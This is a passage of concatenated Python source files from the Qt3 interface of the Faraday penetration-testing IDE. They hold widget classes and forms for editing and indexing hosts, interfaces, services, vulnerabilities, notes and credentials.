530 intEdit = IntEditWidget(view, value, minValue, maxValue)
531 self._addWidget(label, intEdit)
532 return intEdit
533
534 def addListEdit(self, description, values, title):
535 view = self.viewport()
536 label = DetailLabel(None, description, view)
537 listEdit = ListEditWidget(view, values, title)
538 self._addWidget(label, listEdit)
539 return listEdit
540
541 def clear(self):
542 self._row_count = 0
543 self.setNumRows(0)
544
545
546 def keyPressEvent(self, event):
547 """This method is necessary as the table steals keyboard input
548 even if it cannot have focus."""
549 fw = self.focusWidget()
550 if fw != self:
551 try:
552 fw.keyPressEvent(event)
553 except RuntimeError:
554
555 event.ignore()
556 else:
557 event.ignore()
558
559 def keyReleaseEvent(self, event):
560 """This method is necessary as the table steals keyboard input
561 even if it cannot have focus."""
562 fw = self.focusWidget()
563 if fw != self:
564 try:
565 fw.keyReleaseEvent(event)
566 except RuntimeError:
567
568 event.ignore()
569 else:
570 event.ignore()
571
572 class HostEditor():
573 def __init__(self, host):
574 self.host = host
575 self.widgets = {}
576
577 def getArgs(self):
578 return {
579 "name" : self.widgets["name"].getValue(),
580 "description" : self.widgets["description"].getValue(),
581 "os" : self.widgets["os"].getValue(),
582 "owned" : self.widgets["owned"].getValue(),
583 }
584
585 def save(self):
586 kargs = self.getArgs()
587 if kargs["name"]:
588 guiapi.editHost(self.host, **kargs)
589 return True
590 return False
591
592 def fillEditionTable(self, qttable):
593 qttable.clear()
594 qttable.setNumRows(4)
595 self.widgets["name"] = qttable.addTextEdit("Name", self.host.getName())
596 self.widgets["description"] = qttable.addTextEdit("Description", self.host.getDescription())
597 self.widgets["os"] = qttable.addTextEdit("OS", self.host.getOS())
598 self.widgets["owned"] = qttable.addBooleanEdit("Owned", self.host.isOwned())
599
600 class InterfaceEditor():
601 def __init__(self, interface):
602 self.interface = interface
603 self.widgets = {}
604
605 def getArgs(self):
606 return {
607 "name" : self.widgets["name"].getValue(),
608 "description" : self.widgets["description"].getValue(),
609 "mac" : self.widgets["mac"].getValue(),
610 "ipv4" : {
611 'address' : self.widgets["ipv4_address"].getValue(),
612 'mask' : self.widgets["ipv4_mask"].getValue(),
613 'gateway' : self.widgets["ipv4_gateway"].getValue(),
614 'DNS' : self.widgets["ipv4_dns"].getValue()
615 },
616 "ipv6" : {
617 'address' : self.widgets["ipv6_address"].getValue(),
618 'prefix' : self.widgets["ipv6_prefix"].getValue(),
619 'gateway' : self.widgets["ipv6_gateway"].getValue(),
620 'DNS' : self.widgets["ipv6_dns"].getValue(),
621 },
622 "owned" : self.widgets["owned"].getValue(),
623 "hostnames" : self.widgets["hostnames"].getValue()
624 }
625
626 def save(self):
627 kargs = self.getArgs()
628 if kargs["name"]:
629 guiapi.editInterface(self.interface, **kargs)
630 return True
631 return False
632
633 def fillEditionTable(self, qttable):
634 qttable.clear()
635 qttable.setNumRows(11)
636 self.widgets["name"] = qttable.addTextEdit("Name", self.interface.getName())
637 self.widgets["description"] = qttable.addTextEdit("Description", self.interface.getDescription())
638 self.widgets["mac"] = qttable.addTextEdit("MAC", self.interface.getMAC())
639 self.widgets["hostnames"] = qttable.addListEdit("Hostnames", self.interface.getHostnames(), "Hostnames")
640 self.widgets["ipv4_address"] = qttable.addTextEdit("IPv4 Address", self.interface.getIPv4Address())
641 self.widgets["ipv4_mask"] = qttable.addTextEdit("IPv4 Mask", self.interface.getIPv4Mask())
642 self.widgets["ipv4_gateway"] = qttable.addTextEdit("IPv4 Gateway", self.interface.getIPv4Gateway())
643 self.widgets["ipv4_dns"] = qttable.addListEdit("IPv4 DNS", self.interface.getIPv4DNS(), "IPv4 DNS")
644 self.widgets["ipv6_address"] = qttable.addTextEdit("IPv6 Address", self.interface.getIPv6Address())
645 self.widgets["ipv6_prefix"] = qttable.addTextEdit("IPv6 Prefix", self.interface.getIPv6Prefix())
646 self.widgets["ipv6_gateway"] = qttable.addTextEdit("IPv6 Gateway", self.interface.getIPv6Gateway())
647 self.widgets["ipv6_dns"] = qttable.addListEdit("IPv6 DNS", self.interface.getIPv6DNS(), "IPv6 DNS")
648 self.widgets["owned"] = qttable.addBooleanEdit("Owned", self.interface.isOwned())
649
650 class ServiceEditor():
651 def __init__(self, service):
652 self.service = service
653 self.widgets = {}
654
655 def getArgs(self):
656 return {
657 "name" : self.widgets["name"].getValue(),
658 "description" : self.widgets["description"].getValue(),
659 "protocol" : self.widgets["protocol"].getValue(),
660 "ports" : self.widgets["port"].getValue(),
661 "status" : self.widgets["status"].getValue(),
662 "version" : self.widgets["version"].getValue(),
663 "owned" : self.widgets["owned"].getValue()
664 }
665
666 def save(self):
667 kargs = self.getArgs()
668 if kargs["name"] and kargs["protocol"] and kargs["ports"]:
669 guiapi.editService(self.service, **kargs)
670 return True
671 return False
672
673 def fillEditionTable(self, qttable):
674 qttable.clear()
675 qttable.setNumRows(7)
676 self.widgets["name"] = qttable.addTextEdit("Name", self.service.getName())
677 self.widgets["description"] = qttable.addTextEdit("Description", self.service.getDescription())
678 self.widgets["protocol"] = qttable.addTextEdit("Protocol", self.service.getProtocol())
679
680
681 self.widgets["port"] = qttable.addIntEdit("Port", self.service.getPorts()[0], 1, 65535)
682 self.widgets["status"] = qttable.addTextEdit("Status", self.service.getStatus())
683 self.widgets["version"] = qttable.addTextEdit("Version", self.service.getVersion())
684 self.widgets["owned"] = qttable.addBooleanEdit("Owned", self.service.isOwned())
685
686
687 class GenericEditor():
688 def __init__(self, object):
689 pass
690
691 def save(self):
692 pass
693
694 def fillEditionTable(self, qttable):
695 pass
696
697 class NoteEditor(qt.QVBoxLayout):
698 def __init__(self, parent):
699 qt.QVBoxLayout.__init__(self)
700 self.note = None
701
702 self.setSpacing(10)
703
704 label = qt.QLabel(None, "Name: ", parent)
705 self._name_edit = TextEditWidget(parent, "")
706 self._name_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
707 self.addWidget(label)
708 self.addWidget(self._name_edit)
709 label = qt.QLabel(None, "Text: ", parent)
710 self._text_edit = TextBlockEditWidget(parent, "")
711 self._text_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
712 self.addWidget(label)
713 self.addWidget(self._text_edit)
714
715 def setNote(self, note):
716 self.note = note
717 self._name_edit._setText(note.name)
718 self._text_edit._setText(note.text)
719
720 def clear(self):
721 self.note = None
722 self._name_edit._setText("")
723 self._text_edit._setText("")
724
725 def getArgs(self):
726 return {
727 "name" : self._name_edit.getValue(),
728 "text" : self._text_edit.getValue()
729 }
730
731 class VulnEditor(qt.QVBoxLayout):
732 def __init__(self, parent):
733 qt.QVBoxLayout.__init__(self, parent)
734 self.vuln = None
735
736 self.setSpacing(10)
737
738 label = qt.QLabel(None, "Name: ", parent)
739 self._name_edit = TextEditWidget(parent, "")
740 self._name_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
741 self.addWidget(label)
742 self.addWidget(self._name_edit)
743 label = qt.QLabel(None, "Description: ", parent)
744 self._description_edit = TextBlockEditWidget(parent, "")
745 self._description_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
746 self.addWidget(label)
747 self.addWidget(self._description_edit)
748 label = qt.QLabel(None, "Severity: ", parent)
749 self._severity_edit = TextEditWidget(parent, "")
750 self._severity_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
751 self.addWidget(label)
752 self.addWidget(self._severity_edit)
753 label = qt.QLabel(None, "References: ", parent, "References")
754 self._references_edit = ListEditWidget(parent, [], preview_size=100)
755 self.addWidget(label)
756 self.addWidget(self._references_edit)
757
758
759 def setVuln(self, vuln):
760 self.vuln = vuln
761 self._name_edit._setText(vuln.name)
762 self._description_edit._setText(vuln.desc)
763 self._severity_edit._setText(vuln.severity)
764 self._references_edit.setValues(vuln.refs)
765
766 def clear(self):
767 self.vuln = None
768 self._name_edit._setText("")
769 self._description_edit._setText("")
770 self._severity_edit._setText("")
771 self._references_edit.setValues([])
772
773 def getArgs(self):
774 return {
775 "name" : self._name_edit.getValue(),
776 "desc" : self._description_edit.getValue(),
777 "severity" : self._severity_edit.getValue(),
778 "refs" : self._references_edit.getValue()
779 }
780
781 class VulnWebEditor(VulnEditor):
782 def __init__(self, parent):
783 VulnEditor.__init__(self, parent)
784 self.vuln = None
785
786 self.setSpacing(10)
787
788 label = qt.QLabel(None, "Path: ", parent)
789 self._path_edit = TextEditWidget(parent, "")
790 self._path_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
791 self.addWidget(label)
792 self.addWidget(self._path_edit)
793
794 label = qt.QLabel(None, "Website: ", parent)
795 self._website_edit = TextEditWidget(parent, "")
796 self._website_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
797 self.addWidget(label)
798 self.addWidget(self._website_edit)
799
800 label = qt.QLabel(None, "Request: ", parent)
801 self._request_edit = TextBlockEditWidget(parent, "")
802 self._request_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
803 self.addWidget(label)
804 self.addWidget(self._request_edit)
805
806 label = qt.QLabel(None, "Response: ", parent)
807 self._response_edit = TextBlockEditWidget(parent, "")
808 self._response_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
809 self.addWidget(label)
810 self.addWidget(self._response_edit)
811
812 label = qt.QLabel(None, "Method: ", parent)
813 self._method_edit = TextEditWidget(parent, "")
814 self._method_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
815 self.addWidget(label)
816 self.addWidget(self._method_edit)
817
818 label = qt.QLabel(None, "Parameter Name: ", parent)
819 self._pname_edit = TextEditWidget(parent, "")
820 self._pname_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
821 self.addWidget(label)
822 self.addWidget(self._pname_edit)
823
824 label = qt.QLabel(None, "Parameters: ", parent)
825 self._params_edit = TextEditWidget(parent, "")
826 self._params_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
827 self.addWidget(label)
828 self.addWidget(self._params_edit)
829
830 label = qt.QLabel(None, "Query: ", parent)
831 self._query_edit = TextEditWidget(parent, "")
832 self._query_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
833 self.addWidget(label)
834 self.addWidget(self._query_edit)
835
836 label = qt.QLabel(None, "Category: ", parent)
837 self._category_edit = TextEditWidget(parent, "")
838 self._category_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Minimum, qt.QSizePolicy.Minimum))
839 self.addWidget(label)
840 self.addWidget(self._category_edit)
841
842 def setVuln(self, vuln):
843 super(VulnWebEditor, self).setVuln(vuln)
844 self._path_edit._setText(vuln.path)
845 self._website_edit._setText(vuln.website)
846 self._request_edit._setText(vuln.request)
847 self._response_edit._setText(vuln.response)
848 self._method_edit._setText(vuln.method)
849 self._pname_edit._setText(vuln.pname)
850 self._params_edit._setText(vuln.params)
851 self._query_edit._setText(vuln.query)
852 self._category_edit._setText(vuln.category)
853
854 def clear(self):
855 super(VulnWebEditor, self).clear()
856 self._name_edit._setText("")
857 self._path_edit._setText("")
858 self._website_edit._setText("")
859 self._request_edit._setText("")
860 self._response_edit._setText("")
861 self._method_edit._setText("")
862 self._pname_edit._setText("")
863 self._params_edit._setText("")
864 self._query_edit._setText("")
865 self._category_edit._setText("")
866
867 def getArgs(self):
868 dic = super(VulnWebEditor, self).getArgs()
869 dic.update(
870 {
871 "path" : self._path_edit.getValue(),
872 "website" : self._website_edit.getValue(),
873 "request" : self._request_edit.getValue(),
874 "response" : self._response_edit.getValue(),
875 "method" : self._method_edit.getValue(),
876 "pname" : self._pname_edit.getValue(),
877 "params" : self._params_edit.getValue(),
878 "query" : self._query_edit.getValue(),
879 "category" : self._category_edit.getValue()
880 })
881 return dic
882
883 class CredEditor(qt.QVBoxLayout):
884 def __init__(self, parent):
885 qt.QVBoxLayout.__init__(self)
886 self.cred = None
887
888 self.setSpacing(10)
889
890 label = qt.QLabel(None, "Username: ", parent)
891 label.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Maximum, qt.QSizePolicy.Maximum))
892 self._username_edit = TextEditWidget(parent, "")
893 self._username_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Maximum))
894 self.addWidget(label)
895 self.addWidget(self._username_edit)
896 label = qt.QLabel(None, "Password: ", parent)
897 label.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Maximum, qt.QSizePolicy.Maximum))
898 self._password_edit = TextEditWidget(parent, "")
899 self._password_edit.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Maximum))
900 self.addWidget(label)
901 self.addWidget(self._password_edit)
902
903 self.addStretch(15)
904
905 def setCred(self, cred):
906 self.cred = cred
907 self._username_edit._setText(cred.username)
908 self._password_edit._setText(cred.password)
909
910 def clear(self):
911 self.cred = None
912 self._username_edit._setText("")
913 self._password_edit._setText("")
914
915 def getArgs(self):
916 return {
917 "username" : self._username_edit.getValue(),
918 "password" : self._password_edit.getValue()
919 }
920
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import qt
7 import hostsbrowser as DetailsWidgets
8 import model.guiapi as guiapi
9
10 class BaseForm(qt.QVBox):
11 def __init__(self, parent, rows, callback=None):
12 qt.QVBox.__init__(self, parent)
13 details_label = qt.QLabel("Details", self)
14 details_label.setMargin(2)
15 self._details_table = DetailsWidgets.DetailsTable(self, editable=True, rows=rows)
16 self._widgets = {}
17
18 self._callback = callback
19
20 self._save_button = qt.QPushButton("Save", self)
21 self._save_button.setMaximumWidth(50)
22 self.connect(self._save_button, qt.SIGNAL('clicked()'), self._save_object)
23
24 def createWidget(self, name, description, info):
25 w = self._details_table.setInputWidget(name, description, info)
26 self._appendWidget(name, w)
27
28 def getWidgetValue(self, name):
29 w = self._getWidget(name)
30 return w.getValue()
31
32 def _appendWidget(self, name, widget):
33 self._widgets[name] = widget
34
35 def _getWidget(self, name):
36 return self._widgets[name]
37
38 def _save_object(self):
39
40 pass
41
42 def execCallback(self, name):
43 if self._callback is not None:
44 self._callback(name)
45
46 class ServiceForm(BaseForm):
47 def __init__(self, parent, service, callback):
48 self.service = service
49 BaseForm.__init__(self, parent, 7, callback)
50
51 self.createWidget("description_edit", "Description", self.service.getDescription())
52 self.createWidget("name_edit", "Name", self.service.getName())
53 self.createWidget("protocol_edit", "Protocol", self.service.getProtocol())
54 self.createWidget("ports_edit", "Ports", self.service.getPorts())
55 self.createWidget("status_edit", "Status", self.service.getStatus())
56 self.createWidget("version_edit", "Version", self.service.getVersion())
57 self.createWidget("owned_edit", "Owned", self.service.isOwned())
58
59 def _save_object(self):
60
61 guiapi.editService(self.service, self.getWidgetValue("name_edit"), self.getWidgetValue("description_edit"),
62 self.getWidgetValue("protocol_edit"), self.getWidgetValue("ports_edit"),
63 self.getWidgetValue("status_edit"), self.getWidgetValue("version_edit"),
64 self.getWidgetValue("owned_edit"))
65 name = self.getWidgetValue("name_edit")
66 self.execCallback(name)
67
68 class ApplicationForm(BaseForm):
69 def __init__(self, parent, app, callback):
70 self.app = app
71 BaseForm.__init__(self, parent, 5, callback)
72
73 self.createWidget("description_edit", "Description", self.app.getDescription())
74 self.createWidget("name_edit", "Name", self.app.getName())
75 self.createWidget("status_edit", "Status", self.app.getStatus())
76 self.createWidget("version_edit", "Version", self.app.getVersion())
77 self.createWidget("owned_edit", "Owned", self.app.isOwned())
78
79 def _save_object(self):
80
81 guiapi.editApplication(self.app, self.getWidgetValue("name_edit"), self.getWidgetValue("description_edit"),
82 self.getWidgetValue("status_edit"), self.getWidgetValue("version_edit"),
83 self.getWidgetValue("owned_edit"))
84 name = self.getWidgetValue("name_edit")
85 self.execCallback(name)
86
87 class InterfaceForm(BaseForm):
88 def __init__(self, parent, interface, callback):
89 self.interface = interface
90 BaseForm.__init__(self, parent, 9, callback)
91
92 self.createWidget("description_edit", "Description", self.interface.getDescription())
93 self.createWidget("name_edit", "Name", self.interface.getName())
94 self.createWidget("hostnames_edit", "Hostnames", self.interface.getHostnames())
95 self.createWidget("mac_edit", "MAC", self.interface.mac)
96 self.createWidget("ipv4_edit", "IPv4", self.interface.ipv4)
97 self.createWidget("network_segment_edit", "Network Segment", self.interface.network_segment)
98 self.createWidget("amount_ports_opened_edit", "Ports opened", self.interface.amount_ports_opened)
99 self.createWidget("amount_ports_closed_edit", "Ports closed", self.interface.amount_ports_closed)
100 self.createWidget("amount_ports_filtered_edit", "Ports filtered", self.interface.amount_ports_filtered)
101 self.createWidget("owned_edit", "Owned", self.interface.isOwned())
102
103 def _save_object(self):
104
105 guiapi.editInterface(self.interface, self.getWidgetValue("name_edit"), self.getWidgetValue("description_edit"),
106 self.getWidgetValue("hostnames_edit"), self.getWidgetValue("mac_edit"),
107 self.getWidgetValue("ipv4_edit"), self.getWidgetValue("network_segment_edit"),
108 self.getWidgetValue("amount_ports_opened_edit"), self.getWidgetValue("amount_ports_closed_edit"),
109 self.getWidgetValue("amount_ports_filtered_edit"), self.getWidgetValue("owned_edit"))
110 name = self.getWidgetValue("name_edit")
111 self.execCallback(name)
112
113 class HostForm(BaseForm):
114 def __init__(self, parent, host, callback):
115 self.host = host
116 BaseForm.__init__(self, parent, 4, callback)
117
118 self.createWidget("description_edit", "Description", self.host.getDescription())
119 self.createWidget("name_edit", "Name", self.host.getName())
120 self.createWidget("os_edit", "OS", self.host.getOS())
121 self.createWidget("owned_edit", "Owned", self.host.isOwned())
122
123 def _save_object(self):
124
125 guiapi.editHost(self.host, self.getWidgetValue("name_edit"), self.getWidgetValue("description_edit"),
126 self.getWidgetValue("os_edit"), self.getWidgetValue("owned_edit"))
127 name = self.getWidgetValue("name_edit")
128 self.execCallback(name)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import qt
7 from threading import Lock
8 from gui.qt3.modelobjectitems import *
9 import model.api as api
10 import model.guiapi as guiapi
11 import re as re
12 from gui.qt3.dialogs import NewVulnDialog, ConflictResolutionDialog, MessageDialog, NotesDialog, VulnsDialog, CredsDialog
13 from gui.qt3.customevents import *
14 from gui.qt3.dialogs import WorkspacePropertiesDialog
15 from gui.qt3.edition import EditionTable, NewServiceDialog, NewHostDialog, NewInterfaceDialog, NewCredDialog, NewNoteDialog
16
17 from config.configuration import getInstanceConfiguration
18 CONF = getInstanceConfiguration()
19
20 from whoosh.index import create_in
21 from whoosh.fields import *
22
23
24 class PropertyItem(qt.QListViewItem):
25
26
27 """Item for displaying a preferences-set in HostsBrowser."""
28 def __init__(self, settings, number, parent):
29 """_plugin_settings is the _plugin_settings class to work for
30 parent is the parent ListViewItem (of type ModelObjectListViewItem)
31 """
32 qt.QListViewItem.__init__(self, parent)
33 self.settings = settings
34 self.parent = parent
35 self.widget = None
36 self.setText(0, settings.name)
37 self.setText(1, 'setting')
38 self.index = number
39
40 def compare(self, i, col, ascending):
41 """Always sort according to the index value."""
42
43 a = [-1, 1][ascending]
44
45 if self.index < i.index:
46 return -1*a
47 elif self.index > i.index:
48 return 1*a
49 else:
50 return 0
51
52
53 class ModelObjectListView(qt.QListView):
54 """
55 List view for hosts
56 It allows Drag and Drop (TODO)
57 """
58 def __init__(self, parent=None):
59 qt.QListView.__init__(self, parent)
60 self.setSelectionMode(qt.QListView.Extended)
61
62
63
64
65
66
67
68 def selectWidget(self, widget):
69 """Find the widget in the list and select it."""
70
71
72
73 iter = qt.QListViewItemIterator(self)
74
75 found = None
76 while True:
77 item = iter.current()
78 if item == None:
79 break
80 if item.widget == widget:
81 found = item
82 break
83 iter += 1
84
85 if found:
86 self.ensureItemVisible(found)
87 self.setSelected(found, True)
88
89 def sizeHint(self):
90 return qt.QSize(500, 800)
91
92
93 class SaveButton(qt.QPushButton):
94 def __init__(self, parent, callback):
95 qt.QPushButton.__init__(self, "Save", parent)
96 parent.connect(self, qt.SIGNAL('clicked()'), callback)
97 self.setMaximumSize(qt.QSize(75, 25))
98
99
100 class HostsBrowser(qt.QVBox):
101 """Tree view to display Hosts"""
102
103 def __init__(self, parent, model_controller, caption):
104 qt.QVBox.__init__(self, parent)
105
106 self._model_controller = model_controller
107
108 self.modelUpdateTimer = qt.QTimer(self)
109
110 self.__pendingModelObjectRedraws = []
111
112 self.reindex_flag_lock = Lock()
113 self.reindex_flag = False
114
115 self.connect( self.modelUpdateTimer, qt.SIGNAL("timeout()"), self._modelObjectViewUpdater)
116
117 self.modelUpdateTimer.start( 1000 , False)
118
119
120 self.setName(caption) if caption else self.setName("")
121
122 self.setFrameStyle(qt.QFrame.Panel | qt.QFrame.Plain)
123 self.setLineWidth(0)
124
125 self._host_items = {}
126
127
128 self._category_items = {}
129
130
131
132 self._category_tree = {}
133
134 self.contextpopups = {}
135 self._setupContextPopups()
136
137 self.contextdispatchers = {}
138
139
140 self._filter = ""
141 self.ix = None
142
143 self._setupContextDispatchers()
144
145 split = qt.QSplitter(self)
146 split.setOrientation(qt.QSplitter.Vertical)
147
148 lv = self.listview = ModelObjectListView(split)
149
150
151
152 lv.setRootIsDecorated(True)
153
154
155 self.connect( lv, qt.SIGNAL("selectionChanged()"), self._itemSelected )
156 self.connect( lv, qt.SIGNAL("rightButtonPressed(QListViewItem *,const QPoint&,int)"), self._showContextMenu )
157
158 lv.addColumn("Hosts")
159 lv.setColumnWidthMode(0,qt.QListView.Maximum)
160
161
162
163 lv.setTreeStepSize(20)
164
165
166
167
168
169 self.rootitem = None
170
171
172
173
174
175 self.details_table = EditionTable(split)
176 hbox = qt.QHBox(self)
177 self.object_label = qt.QLabel("", hbox)
178 self.object_label.setMinimumSize(qt.QSize(50, 25))
179 self.save_button = SaveButton(hbox, self._item_save)
180 self._save_callback = None
181
182 self.prefchilds = []
183
184
185
186
187 def load(self, workspace, workspace_type):
188 self.rootitem = WorkspaceListViewItem(self.listview, workspace, workspace_type)
189 self.listview.setSelected(self.rootitem, True)
190
191 def update(self, hosts):
192 self.clearTree()
193 self.redrawTree(hosts)
194
195 def sizeHint(self):
196 """Returns recommended size of dialog."""
197 return qt.QSize(70, 200)
198
199 def resizeEvent (self, event ):
200
201
202
203
204 self.listview.setColumnWidth(0,self.size().width()-7)
205
206
207
208 def clearTree(self):
209 """
210 clear the complete host tree
211 """
212 self._clearBranch(self.rootitem)
213 self._host_items.clear()
214
215 def _clearBranch(self, root):
216 """
217 clear a branch based on the root provided.
218 """
219 if root is not None:
220 i = root.firstChild()
221 items_to_remove = []
222 while i is not None:
223 items_to_remove.append(i)
224 i = i.nextSibling()
225
226 for i in items_to_remove:
227 if i.type == "Category":
228 self._delCategory(i.name)
229 elif i.type == "Host":
230 category_item = i.parent()
231 self._delHostFromCategory(i.object, category_item.name)
232
233 def redrawTree(self, hosts):
234 dialog = qt.QProgressDialog(self, "Loading workspace...", True)
235 dialog.setCaption("Please wait")
236 dialog.setLabelText("Loading workspace...")
237 dialog.setTotalSteps(len(hosts) + 1)
238 i = 1
239 for host in hosts:
240 dialog.setProgress(i)
241 category = host.getCurrentCategory()
242 self._addCategory(category)
243 self._addHostToCategory(host, category)
244 i += 1
245 for ci in self._category_items.values():
246 ci.setOpen(True)
247
248 self.createIndex()
249 dialog.setProgress(i)
250 self.filterTree(self._filter)
251 # we need to make sure that the dialog is closed
252 rem = dialog.totalSteps() - i
253 if rem > 0:
254 dialog.setProgress(i + rem)
255
256 def setReindex(self):
257 self.reindex_flag_lock.acquire()
258 if not self.reindex_flag:
259 self.reindex_flag = True
260 self.reindex_flag_lock.release()
261
262 def reindex(self):
263 self.reindex_flag_lock.acquire()
264 if self.reindex_flag:
265 self.createIndex()
266 self.reindex_flag = False
267 self.reindex_flag_lock.release()
268
269 def filterTree(self, mfilter=""):
270 self.reindex()
271 hosts=[]
272 viewall=False
273 self._filter=mfilter
274
275 for k in self._host_items.keys():
276 hosts.append(self._host_items[k].object)
277
278 if self._filter:
279 hosts=self._filterHost(hosts)
280 else:
281 viewall=True
282 hosts=[]
283
284
285
286
287 for k in self._host_items.keys():
288
289 if (self._host_items[k].object.name in hosts) or viewall==True:
290 self._host_items[k].setVisible(True)
291 else:
292 self._host_items[k].setVisible(False)
293
294
295 def _filterHost(self,hosts):
296
297
298 from whoosh.qparser import QueryParser
299 with self.ix.searcher() as searcher:
300 query = QueryParser("ip", self.ix.schema).parse(self._filter)
301 results = searcher.search(query, limit=None)
302
303
304
305 hostv={}
306 for r in results:
307 hostv[r['ip']]=1
308
309 return hostv
310
311 def createIndex(self):
312 hosts = self._model_controller.getAllHosts()
313 schema = Schema(ip=TEXT(stored=True),
314 hostname=TEXT(stored=True),
315 mac=TEXT(stored=True),
316 os=TEXT(stored=True),
317 port=TEXT(stored=True),
318 srvname=TEXT(stored=True),
319 srvstatus=TEXT(stored=True),
320 vulnn=TEXT(stored=True),
321 namen=TEXT(stored=True),
322 owned=BOOLEAN,
323 cred=BOOLEAN,
324 vuln=BOOLEAN,
325 note=BOOLEAN)
326
327 indexdir=CONF.getDataPath() + "/indexdir"
328 if not os.path.exists(indexdir):
329 os.mkdir(indexdir)
330
331 self.ix = create_in(indexdir, schema)
332 for host in hosts:
333 self.indexHost(host)
334
335 def indexHost(self, host):
336 writer = self.ix.writer()
337 writer.add_document(ip=unicode(host.name), os=unicode(host.getOS()),
338 owned=host.isOwned(),
339 vuln=True if host.vulnsCount() > 0 else False,
340 note=True if len(host.getNotes()) > 0 else False)
341
342 for i in host.getAllInterfaces():
343 for h in i._hostnames:
344 writer.add_document(ip=unicode(host.name),
345 hostname=unicode(h),
346 mac=unicode(i.getMAC()))
347
348 for v in host.getVulns():
349 writer.add_document(ip=unicode(host.name), vulnn=unicode(v.name))
350
351 for i in host.getAllInterfaces():
352 for s in i.getAllServices():
353 for v in s.getVulns():
354 writer.add_document(ip=unicode(host.name),
355 vulnn=unicode(v.name),
356 srvname=unicode(s.getName()))
357 for p in s.getPorts():
358 writer.add_document(
359 ip=unicode(host.name),
360 port=unicode(str(p)),
361 owned=s.isOwned(),
362 vuln=True if s.vulnsCount() > 0 else False,
363 note=True if len(s.getNotes()) > 0 else False,
364 cred=True if s.credsCount() > 0 else False,
365 srvname=unicode(s.getName()),
366 srvstatus=unicode(s.getStatus()))
367 writer.commit()
368
369 def removeIndexHost(self, host):
370 writer = self.ix.writer()
371 writer.delete_by_term('ip', host.name)
372 writer.commit()
373
374 def selectWord(self, word):
375 for k in self._host_items:
376 host_item = self._host_items[k]
377 if host_item.text(0).encode('utf8').strip() == word.strip():
378 self.listview.setSelected(host_item, True)
379 self.listview.ensureItemVisible(host_item)
380 break
381 else:
382 for i in host_item.object.getAllInterfaces():
383 if i.ipv4['address'] == word.strip():
384 self.listview.setSelected(host_item, True)
385 self.listview.ensureItemVisible(host_item)
386 break
387 elif i.ipv6['address'] == word.strip():
388 self.listview.setSelected(host_item, True)
389 self.listview.ensureItemVisible(host_item)
390 break
391 else:
392 for h in i.getHostnames():
393 if h == word.strip():
394 self.listview.setSelected(host_item, True)
395 self.listview.ensureItemVisible(host_item)
396 break
397
398 def workspaceChanged(self, workspace, workspace_type):
399 if self.rootitem:
400 root = self.rootitem
401 self.listview.takeItem(root)
402 del root
403 self.clearTree()
404 self.load(workspace,workspace_type)
405
406 def updateWorkspaceName(self, nconflicts):
407 self.rootitem.updateName(nconflicts)
408
409 def _resolveConflicts(self, item):
410 guiapi.resolveConflicts()
411
412 def showResolveConflictDialog(self, conflicts):
413 if len(conflicts):
414 dialog = ConflictResolutionDialog(conflicts)
415 dialog.exec_loop()
416
417 def _item_save(self):
418
419
420 if self._save_callback is not None:
421 self._save_callback()
422
423 def setSaveCallback(self, callback):
424 self._save_callback = callback
425
426 def _itemSelected(self, item=False):
427 """
428 this is called when a list view item is selected
429 """
430
431 i = self.listview.firstChild()
432 self.items_selected=[]
433 self.items_type={'Host': 0, 'Workspace': 0, 'Service':0,
434 'Interface':0, 'Application':0,'Category_General':0
435 ,'Category_Applications':0,'Category_Interfaces':0}
436 while i is not None:
437 if i.isSelected():
438
439 if i.type=="Category":
440 self.items_type[i.type+"_"+i.name] =self.items_type[i.type+"_"+i.name]+1
441 else:
442 self.items_type[i.type] =self.items_type[i.type]+1
443
444 self.items_selected.append(i)
445 i = i.itemBelow()
446 mtype={'Host': 0, 'Workspace': 0, 'Service':0, 'Interface':0, 'Application':0,'Category':0}
447
448 self.itemselected = self.listview.currentItem()
449
450
451 self.details_table.clear()
452 editor = self.itemselected.getEditor()
453 editor.fillEditionTable(self.details_table)
454 self.setSaveCallback(editor.save)
455
456 def getItemSelected(self):
457 return self.itemselected
458
459 def _addCategory(self, category):
460 if category not in self._category_tree:
461 self._category_tree[category] = []
462 ref = CategoryListViewItem(self.rootitem, category)
463 self._category_items[category] = ref
464 else:
465 ref = self._getCategoryListViewItem(category)
466 return ref
467
468 def _addHost(self, host):
469 category = host.getCurrentCategory()
470 self._addCategory(category)
471 self._addHostToCategory(host, category)
472 #self.removeIndexHost(host)
473 #self.indexHost(host)
474
475 def _removeHost(self, host_id):
476 item = self._host_items.get(host_id, None)
477 if host_id in self._host_items:
478 del self._host_items[host_id]
